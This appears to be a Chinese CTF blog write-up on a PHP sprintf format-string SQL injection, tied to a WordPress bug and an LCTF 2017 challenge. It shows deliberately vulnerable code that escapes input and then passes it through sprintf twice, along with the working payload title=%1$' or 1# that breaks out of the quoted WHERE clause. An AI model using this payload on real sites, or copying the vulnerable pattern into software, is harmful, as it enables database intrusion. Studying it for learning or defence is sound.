PHP格式化字符串的漏洞

Nov 23, 2017 09:54 · 211 words · 1 minute read ctf

这是WordPress爆出的一个SQL漏洞,漏洞发生在WP的后台上传图片的位置,通过修改图片在数据库中的参数,以及利用php的sprintf函数的特性,在删除图片时,导致’单引号的逃逸。漏洞利用较为困难。

漏洞函数

该漏洞利用了两个函数,一个是常见的mysql_real_escape_string()函数,另一个是 sprintf()函数。

mysql_real_escape_string()函数的作用是转义sql语句中的特殊字符,即会将单引号(‘)变为(\‘)。

sprint()是把百分号(%)符号替换成一个作为参数进行传递的变量,类似于C的占位符。

示例:

<?php 
$a = 'abc';
$b = 'def';


echo sprintf(" '%s' \n ",$a,$b);
echo "<br>";
echo sprintf(" '%y' \n ",$a);
echo "<br>";
echo sprintf(" '%\' \n ",$a);

 ?>
 输出结果
 'abc' 
'' 
''

由上测试可知(%\ )会被当成格式化字符串,输出为空。

利用条件

1.执行语句使用sprintf或vsrptinf进行拼接

2.执行语句进行了两次拼接,第一次拼接的参数内容可控,类似如下代码:

<?php

$input = mysql_real_escape_string("%1$' and 1=1#");
$b = sprintf("AND b='%s'", $input);
...
$sql = sprintf("SELECT * FROM t WHERE a='%s' $b", 'admin');
echo $sql;
//result: SELECT * FROM t WHERE a='admin' AND b=' ' and 1=1#'

以上这就是一个简单的漏洞利用示例

漏洞利用

这段代码就是admin.php中存在漏洞的代码。

if(isset($_GET['id'])){
	$id = mysql_real_escape_string($_GET['id']);
	if(isset($_GET['title'])){
		$title = mysql_real_escape_string($_GET['title']);
		$title = sprintf("AND title='%s'", $title);  #用sprintf第一次对$title处理。
	}else{
		$title = '';
	}
	$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id); #第二次使用sprintf还有$title变量
	$result = mysql_query($sql,$con);
	$row = mysql_fetch_array($result);
	if(isset($row['title'])&&isset($row['content'])){
		echo "<h1>".$row['title']."</h1><br>".$row['content'];
		die();
	}else{
		die("This article does not exist.");
	}
}

在这里 对$title有两次处理,所以存在漏洞。

  • 构造$title为title=%’ or 1#
  • sprintf第一次处理后$title=%\’ or 1#
  • sprintf第二次处理时,整个代码如下:

    $sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
    #title传入后
    $sql = sprintf("SELECT * FROM article WHERE id='%s' AND title='%\' or 1#'", $id);
    
  • 这个时候sprintf函数就会将(\ )吃掉,但是这时会报一个sprintf参数不足的错误,因为这个函数里有两个格式化字符(%S,%\ )但是只有一个参数($id),不过PHP的格式化字符串还有另一种表示方法%1$s,其中%后面的数字就表示引用第几个参数,$后面是格式化字符串的类型,例:

    $a = 'abc';
    $b = 'def';
    echo sprintf(' %2$s,%1$s',$b,$a);
    // 结果
    def,abc
    
  • 由上可构造title=%1$’ or 1#,这样就不会有参数不足的问题这样最后的代码如下:

    $id=1
    $sql = sprintf("SELECT * FROM article WHERE id='%s' AND title='%1$\' or 1#'", $id);
    echo $sql;
    //结果
    SELECT * FROM article WHERE id='1' AND title='' or 1#
    

参考链接

https://github.com/LCTF/LCTF2017/blob/master/src/web/simple-blog/web-f1sh-writeup.md

https://paper.seebug.org/386/

tweet Share